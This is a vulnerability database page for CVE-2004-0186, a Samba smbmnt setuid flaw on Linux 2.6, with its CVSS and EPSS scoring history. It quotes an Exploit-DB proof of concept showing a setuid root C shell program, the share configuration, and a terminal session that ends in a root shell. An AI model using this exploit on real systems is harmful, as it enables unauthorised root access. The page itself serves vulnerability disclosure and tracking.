CVE-2004-0186

EPSS

0.53%V4

Vector

Local

Published

2004-09-01
02h00 +00:00

Modified

2004-08-19
22h00 +00:00

Official links

CVE.org

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Criteria applied when sending the alert: compared with the last alert sent + differences in CISA, EPSS, CVSS, CWE, Solutions, CPE.

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CVE Descriptions

smbmnt in Samba 2.x and 3.x on Linux 2.6, when installed setuid, allows local users to gain root privileges by mounting a Samba share that contains a setuid root program, whose setuid attributes are not cleared when the share is mounted.

CVE Informations

Metrics

Metrics	Score	Severity	CVSS Vector	Source
V2	7.2		AV:L/AC:L/Au:N/C:C/I:C/A:C	nvd@nist.gov

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2022-02-06	–	–	1.92%	–	–
2022-02-13	–	–	1.92%	–	–
2022-04-03	–	–	1.92%	–	–
2022-06-26	–	–	1.92%	–	–
2022-11-13	–	–	1.92%	–	–
2022-11-20	–	–	1.92%	–	–
2022-12-11	–	–	1.92%	–	–
2022-12-18	–	–	1.92%	–	–
2022-12-25	–	–	1.92%	–	–
2023-01-01	–	–	1.92%	–	–
2023-02-12	–	–	1.92%	–	–
2023-03-12	–	–	–	0.04%	–
2024-02-18	–	–	–	0.04%	–
2024-06-02	–	–	–	0.04%	–
2025-01-19	–	–	–	0.04%	–
2025-03-18	–	–	–	–	0.53%
2025-03-30	–	–	–	–	0.53%
2025-04-15	–	–	–	–	0.53%
2025-04-15	–	–	–	–	0.53,%

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

EPSS First.org

Date	Percentile
2022-02-06	55%
2022-02-13	56%
2022-04-03	76%
2022-06-26	77%
2022-11-13	78%
2022-11-20	77%
2022-12-11	78%
2022-12-18	77%
2022-12-25	78%
2023-01-01	77%
2023-02-12	78%
2023-03-12	6%
2024-02-18	5%
2024-06-02	5%
2025-01-19	5%
2025-03-18	65%
2025-03-30	64%
2025-04-15	66%
2025-04-15	66%

Exploit information

Exploit Database EDB-ID : 23674

Publication date : 2004-02-08 23h00 +00:00
Author : Martin Fiala
EDB Verified : Yes

source: https://www.securityfocus.com/bid/9619/info A local privilege escalation vulnerability has been reported to affect the 2.6 Linux kernel. The issue appears to exist due to a lack of sufficient sanity checks performed when executing a file that is hosted on a remote Samba share. An attacker may exploit this condition to gain elevated privileges, as the setuid/setgid bit of a remote file is honored on the local system. misko@slovakia:~$ smbmount --version Usage: mount.smbfs service mountpoint [-n] [-o options,...] Version 3.0.1-Debian misko@slovakia:~$ ls -l /usr/bin/smbmount - - -rwxr-xr-x 1 root root 591756 2004-01-13 20:29 /usr/bin/smbmount misko@slovakia:~$ ls -l /usr/bin/smbmnt - - -rwsr-sr-x 1 root root 8088 2004-01-13 20:29 /usr/bin/smbmnt ^ Confirmed to be default on Debian and Mandrake. share:/data/share# cat a.c main() { setuid(0); setgid(0); system("/bin/bash"); } share:/data/share# make a cc a.c -o a share:/data/share# chmod +s a share:/data/share# share:/etc/samba/smb.conf [share] path = /data/share writable = no locking = no public = yes guest ok = yes comment = Share share:/data/share# ls -l a - - -rwsr-sr-x 1 root root 11716 Feb 8 12:39 a misko@slovakia:~$ ls -l pokus/a - - -rwsr-sr-x 1 root root 11716 2004-02-08 12:39 pokus/a misko@slovakia:~$ pokus/a root@slovakia:~# id uid=0(root) gid=0(root) skupiny=1000(misko),0(root),29(audio),100(users),1034(mtr),1035(333) root@slovakia:~#

Products Mentioned

Configuraton 0

Samba>>Samba >> Version 2.0

Samba>>Samba >> Version 2.0 (Open CPE detail)

Samba>>Samba >> Version 3.0.0

Samba>>Samba >> Version 3.0.0 (Open CPE detail)